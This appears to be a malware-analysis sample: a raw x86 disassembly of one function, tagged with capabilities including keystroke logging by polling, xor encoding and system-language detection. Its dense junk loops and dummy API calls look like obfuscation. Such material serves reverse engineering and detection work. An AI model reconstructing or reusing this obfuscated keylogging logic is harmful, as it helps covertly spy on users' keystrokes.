Function at 0x10045735
Capabilities:
Encode data using xor
Get system information on windows
Get thread local storage value
Identify system language via api
Log keystrokes via polling
Suspend thread

Disassembly:
mov eax, 0x100606b4
call fcn.1005f330
sub esp, 0x2ec
push ebx
push esi
push edi
mov dword [ebp - 0x5c], ecx
xor ebx, ebx
mov dword [ebp - 0x10], esp
xor edi, edi
mov dword [ebp - 0x40], 0xa0256915
inc edi
push 3
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x40], ebx
pop esi
cmp dword [ebp - 0x40], 0x2b
jg 0x1004588d
mov dword [ebp - 0x20], 0x379f
cmp dword [ebp - 0x20], 0x38ac
jle 0x100457e6
push ebx
push ebx
push 0x411
call dword [sym.imp.GDI32.dll_SelectPalette]
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x34], ebx
or eax, ecx
lea ecx, [ebp - 0x27c]
cdq
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100457b5
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x27c]
call fcn.1002e510
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x574f
jl 0x1004579b
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x7d00
jl 0x10045796
push 2
lea ecx, [ebp - 0x144]
call fcn.1002e184
cmp dword [ebp - 0x20], 0x3659
jge 0x10045807
push 0x1000bf80
call fcn.1004a056
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10045821
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x15c], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10045810
push 2
mov dword [ebp - 0x18], ebx
pop edx
jmp 0x10045841
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x144]
mov dword [eax + ecx*4], 0xc4d1454b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1004582e
cmp dword [ebp - 0x15c], ebx
je 0x10045860
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x2c], eax
jmp 0x1004586c
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
lea ecx, [ebp - 0x144]
call fcn.1002e206
inc dword [ebp - 0x40]
jmp 0x1004576a
mov eax, dword [0x1060a4d8]
test al, 1
jne 0x10045924
or eax, edi
mov dword [0x1060a4d8], eax
push ebx
mov dword [ebp - 4], 2
push ebx
mov dword [0x1060a4e0], ebx
mov dword [0x1060a4e4], ebx
call fcn.10035741
mov dword [0x1060a4e0], eax
mov dword [0x1060a4e8], ebx
mov dword [0x1060a4f0], ebx
mov byte [ebp - 4], 4
mov ecx, 0x1060a4e8
mov dword [ebp - 0xe4], eax
lea eax, [ebp - 0xe4]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x19c]
mov dword [0x1060a4fc], 0x3f800000
push eax
mov dword [0x1060a4ec], ebx
call fcn.100354e5
push 0x100608c3
mov dword [0x1060a4f4], 7
mov dword [0x1060a4f8], 8
call fcn.1004a02c
or dword [ebp - 4], 0xffffffff
pop ecx
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000c3c0]
lea eax, [ebp - 0x1e4]
push eax
lea eax, [ebp - 0x1f4]
mov dword [ebp - 0x114], ebx
push eax
push ebx
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x110], ebx
movdqu xmmword [ebp - 0x1f4], xmm0
mov dword [ebp - 0x10c], ebx
call fcn.10030038
mov dword [ebp - 4], 5
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], esi
jg 0x10045a30
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045a28
mov dword [ebp - 0x1c], 0x6b45
cmp dword [ebp - 0x1c], 0x6ce4
jle 0x10045a06
push ebx
push 0x1a4
push ebx
push ebx
push 0x2276
push 0x3ad
call dword [sym.imp.USER32.dll_ToAsciiEx]
mov dword [ebp - 0x40], ebx
mov ecx, ebx
mov dword [ebp - 0x28], 0x675b
mov dword [ebp - 0x34], ecx
mov eax, ecx
lea ecx, [ebp - 0x24c]
cdq
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100459d7
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x24c]
call fcn.1002e510
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
add ecx, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x34], ecx
jne 0x100459bd
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x117a
jl 0x100459b1
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
cmp dword [ebp - 0x1c], 0x685f
jge 0x10045a21
push 0x1000bfd0
call fcn.1004a056
pop ecx
mov dword [ebp - 4], 5
inc dword [ebp - 0x20]
jmp 0x10045970
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.1002e206
imul eax, dword [ebp - 0x5c], 0x2710
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x78]
push eax
call fcn.100471d9
mov eax, dword [eax]
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x1c], 0xffffffe5
cmp dword [ebp - 0x1c], 0xffffffe3
mov dword [ebp - 0x40], eax
je 0x10045a99
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045a7e
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045a8d
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jne 0x10045a6e
mov eax, dword [ebp - 0x40]
push esi
test eax, eax
je 0x10045bf6
lea ecx, [ebp - 0x18c]
call fcn.1002e184
mov dword [ebp - 0x1c], ebx
jmp 0x10045ac1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10045ab2
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045aeb
push 0x92a
push 0x1f15
push 0x70f
push 0x2123
push 0x19
call dword [sym.imp.GDI32.dll_Ellipse]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045afb
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [ebp - 0x18c]
call fcn.1002e206
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x40], ebx
jmp 0x10045b25
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x12c], 0xfffffffa
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x10045b14
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045b3b
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov dword [ebp - 0x124], 0x11
cmp dword [ebp - 0x124], 0x18
jle 0x10047145
mov dword [ebp - 0x34], 0x1bb9
cmp dword [ebp - 0x34], 0x1ec6
jle 0x10045b8b
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x106092f8
cdq
push edx
push eax
call fcn.1002e06f
inc edi
cmp edi, 0x601
jl 0x10045b66
inc esi
cmp esi, 0x3414
jl 0x10045b64
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045ba6
push ebx
push ebx
push 0xc3a
push 0x411
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [ebp - 4], 8
cmp dword [ebp - 0x34], 0x1b4c
jge 0x10045bc5
mov edx, 0x1000c028
mov ecx, 0x106092f8
call fcn.1002fb19
or dword [ebp - 4], 0xffffffff
inc dword [ebp - 0x124]
jmp 0x10045b45
mov dword [ebp - 0x24], 0xe19d
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x18], 0x6c2e7ccc
call fcn.1002e184
mov dword [ebp - 4], 0xa
lea eax, [ebp - 0x204]
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000c360]
lea ecx, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 0xfc], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
call fcn.10030038
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x1c], ebx
jmp 0x10045c70
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x174]
mov dword [eax + ecx*4], 0x10c13fe6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10045c5d
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x174]
setg dl
xor ecx, ecx
cmp edx, 0x46b8d963
mov dword [eax + 4], edx
mov eax, dword [ebp - 0xfc]
setne cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], ebx
jmp 0x10045d23
mov dword [ebp - 0x30], 0xcaea0a9f
mov dword [ebp - 0x30], 0xcc72
mov dword [ebp - 0x34], 0xa0122d80
mov dword [ebp - 0x1c], ebx
jmp 0x10045ce4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e8], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10045cd7
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x10045d1d
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x3c], ebx
jmp 0x10045d10
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045d0d
push 0x1253
call edi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jle 0x10045cfd
dec dword [ebp - 0x18]
jns 0x10045cf8
xor edi, edi
inc edi
dec dword [ebp - 0x34]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10045cbd
lea ecx, [ebp - 0xfc]
call fcn.1002e206
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x174]
call fcn.1002e206
mov eax, dword [0x1060a4d8]
test al, 2
jne 0x10045dda
or eax, 2
mov dword [0x1060a4d8], eax
push ebx
mov dword [ebp - 4], 0xb
push ebx
mov dword [0x1060a500], ebx
mov dword [0x1060a504], ebx
call fcn.10035741
mov dword [0x1060a500], eax
mov dword [0x1060a508], ebx
mov dword [0x1060a510], ebx
mov byte [ebp - 4], 0xd
mov ecx, 0x1060a508
mov dword [ebp - 0xd4], eax
lea eax, [ebp - 0xd4]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x1a0]
mov dword [0x1060a51c], 0x3f800000
push eax
mov dword [0x1060a50c], ebx
call fcn.100354e5
push 0x100608be
mov dword [0x1060a514], 7
mov dword [0x1060a518], 8
call fcn.1004a02c
or dword [ebp - 4], 0xffffffff
pop ecx
mov dword [ebp - 0x24], 0x4d83
cmp dword [ebp - 0x24], 0x4f2a
jle 0x10045e8a
push 0x2024
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x28], ecx
mov edx, ebx
mov ecx, eax
mov dword [ebp - 0x20], edx
sar dword [ebp - 0x28], cl
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, edx
cdq
idiv ecx
lea ecx, [ebp - 0x264]
and edx, dword [ebp - 0x28]
mov eax, edx
cdq
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10045e37
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x264]
call fcn.1002e510
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x3a3a
jl 0x10045e15
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 0x1984
jl 0x10045e10
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x296
jl 0x10045e03
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x5fc4
jl 0x10045dfe
cmp dword [ebp - 0x24], 0x4d6e
jge 0x10045e9e
push 0x1000c0b4
call fcn.1004a056
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x30], 0x7862fd41
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045ebf
push 0x1f59
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045ed4
push ebx
push 0x953
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
xorps xmm0, xmm0
lea ecx, [ebp - 0x150]
movdqu xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x24], 0xe19d
mov dword [ebp - 0x18], 0x6c2e7ccc
push esi
call fcn.1002e184
mov dword [ebp - 4], 0x10
lea eax, [ebp - 0x1d4]
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000c360]
lea ecx, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0xc4], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], ebx
call fcn.10030038
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x1c], ebx
jmp 0x10045f5a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x150]
mov dword [eax + ecx*4], 0x10c13fe6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10045f47
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x150]
setg dl
xor ecx, ecx
cmp edx, 0x46b8d963
mov dword [eax + 4], edx
mov eax, dword [ebp - 0xc4]
setne cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], ebx
jmp 0x1004600d
mov dword [ebp - 0x30], 0xcaea0a9f
mov dword [ebp - 0x30], 0xcc72
mov dword [ebp - 0x34], 0xa0122d80
mov dword [ebp - 0x1c], ebx
jmp 0x10045fce
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2c8], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10045fc1
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x10046007
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x3c], ebx
jmp 0x10045ffa
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10045ff7
push 0x1253
call edi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jle 0x10045fe7
dec dword [ebp - 0x18]
jns 0x10045fe2
xor edi, edi
inc edi
dec dword [ebp - 0x34]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10045fa7
lea ecx, [ebp - 0xc4]
call fcn.1002e206
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x150]
call fcn.1002e206
lea eax, [ebp - 0x5c]
push eax
call fcn.1004723b
mov ecx, dword [eax]
mov al, byte [ebp + 0xc]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], ecx
test al, al
jne 0x1004604c
test ecx, ecx
jne 0x1004646a
lea ecx, [ebp - 0x2d8]
mov dl, al
push ecx
mov ecx, dword [ebp - 0x5c]
call fcn.1003b1f4
mov esi, eax
lea edi, [ebp - 0x9c]
pop ecx
push 3
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
mov dword [ebp - 0x18], 0xffffffff
inc edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x1c], ebx
pop esi
jmp 0x10046090
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2a0], 0xa5d732ad
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1004607f
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100460aa
push ebx
push 0xe1a
call dword [sym.imp.USER32.dll_BeginPaint]
mov dword [ebp - 0x18], ebx
jmp 0x1004611f
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], 0x8efa97f5
cmp dword [ebp - 0x18], ebx
jne 0x10046117
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
test eax, eax
setns cl
add ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
cmp eax, dword [ebp - 0x1c]
je 0x100460ee
mov eax, edi
cmp dword [ebp - 0x18], ebx
jne 0x100460f0
mov eax, ebx
imul eax, eax, 0xfffffffe
cmp eax, 0x8d5feaf8
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, ebx
setne cl
cmp ecx, dword [ebp - 0x28]
jge 0x10046119
mov eax, edi
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xa
jne 0x100460af
cmp byte [ebp + 0xc], 0
je 0x1004646a
cmp dword [ebp - 0x94], 0
je 0x1004646a
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x38], 0x2d09
cmp dword [ebp - 0x38], 0x3027
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x4c], 0x1000c0e8
jle 0x100461b8
mov dword [ebp - 0x1c], ebx
mov ecx, ebx
mov dword [ebp - 0x28], 0x44e5
mov dword [ebp - 0x20], ecx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
lea eax, [ebx + edi]
xor eax, ecx
mov ecx, 0x106092f8
cdq
push edx
push eax
call fcn.1002e06f
mov ecx, dword [ebp - 0x20]
inc ebx
cmp ebx, 0x1fc4
jl 0x10046173
inc edi
push 0
pop ebx
cmp edi, 0x14f
jl 0x10046170
mov eax, dword [ebp - 0x1c]
add ecx, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x20], ecx
jne 0x1004616e
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x3bd7
jl 0x10046162
xor edi, edi
inc edi
mov dword [ebp - 0x28], 0xfffb
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0x29b3a00d
mov dword [ebp - 0x24], 0xf8d9a2b8
push 2
call fcn.1002e184
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x50], 0x405a9ad1
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x18], ebx
jmp 0x1004620f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100461fe
mov dword [ebp - 0x18], ebx
jmp 0x1004622c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x168]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10046219
mov dword [ebp - 0x18], ebx
jmp 0x10046248
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd0], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10046237
inc dword [ebp - 0xd0]
mov dword [ebp - 0xb0], ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x168]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
mov eax, dword [esi]
neg ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x6736
setl al
xor edx, edx
cmp eax, dword [esi + 4]
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x28]
setge cl
xor edx, edx
cmp ecx, 0xfffffffb
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
setge cl
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
mov dword [esi + 4], ecx
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x10046432
mov dword [ebp - 0x48], 0x9ac0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 2
jg 0x1004641e
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x44], 0x3b0b
cmp dword [ebp - 0x44], 0x3ebb
jle 0x10046378
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov eax, esi
cdq
idiv dword [ebp - 0x24]
lea eax, [edi + edx]
or eax, ecx
mov ecx, 0x106092f8
cdq
push edx
push eax
call fcn.1002e06f
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x610e
jl 0x1004632e
inc esi
cmp esi, 0x30f5
jl 0x1004632b
inc edi
cmp edi, 0x2db3
jl 0x10046329
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x3024
jl 0x10046327
xor edi, edi
inc edi
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xd0], ebx
je 0x10046387
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xd0]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
mov dword [ebp - 0xb4], edi
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x44], 0x378a
jge 0x10046409
mov edx, 0x1000c148
mov ecx, 0x106092f8
call fcn.1002fb19
jmp 0x10046409
mov dword [ebp - 4], 0x11
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x20]
jmp 0x10046301
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xb8], ebx
jne 0x10046432
dec dword [ebp - 0x18]
jmp 0x100462eb
lea ecx, [ebp - 0x168]
call fcn.1002e206
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x38], 0x2a92
jge 0x1004645a
mov edx, dword [ebp - 0x4c]
mov ecx, 0x106092f8
call fcn.1002fb19
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x2c], 0x37a8
cmp dword [ebp - 0x2c], 0x3a2c
jle 0x100464e1
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
cdq
idiv esi
mov dword [ebp - 0x38], 0x7fcf
mov esi, edx
mov eax, esi
lea ecx, [ebp - 0x294]
cdq
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100464aa
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x294]
call fcn.1002e510
dec esi
dec dword [ebp - 0x38]
jne 0x10046490
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0xf1d
jl 0x10046484
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x4395
jl 0x1004647f
mov dword [ebp - 0x18], 0xfffffffa
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], 6
push edi
call fcn.1002e184
mov dword [ebp - 4], 0x16
lea eax, [ebp - 0x1f4]
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000c370]
lea ecx, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x204]
mov dword [ebp - 0x28], 0x44688d23
push eax
push ebx
movdqu xmmword [ebp - 0x204], xmm0
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0xd8], ebx
call fcn.10030038
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x18], ebx
jmp 0x10046590
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6c], 0x41b3c692
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10046582
mov dword [ebp - 0x18], ebx
jmp 0x100465ae
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x120]
mov dword [eax + ecx*4], 0x65c829e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1004659b
push 2
mov dword [ebp - 0x18], ebx
pop esi
jmp 0x100465cc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 0x888c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100465bb
mov dword [ebp - 0x18], ebx
jmp 0x100465e7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1b4], 0x3136
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100465d6
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jg 0x1004684d
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x44], eax
push dword [ebp + 8]
lea eax, [ebp - 0x1b4]
mov dword [ebp - 0x84], ebx
push eax
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x80], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x7c], ebx
push ebx
lea ecx, [ebp - 0x84]
movdqu xmmword [ebp - 0x1c4], xmm0
call fcn.10030038
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0xac], edi
mov dword [ebp - 0xa8], edi
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xa0], edi
mov dword [ebp - 0x54], 0x314cd590
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x20]
test eax, eax
jne 0x100466cb
mov ecx, dword [ebp - 0x28]
mov edx, 0xbad479ea
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x8c]
cmp edx, eax
mov eax, dword [ebp - 0x24]
sbb edx, edx
inc edx
sub edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x24]
cmp eax, edi
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
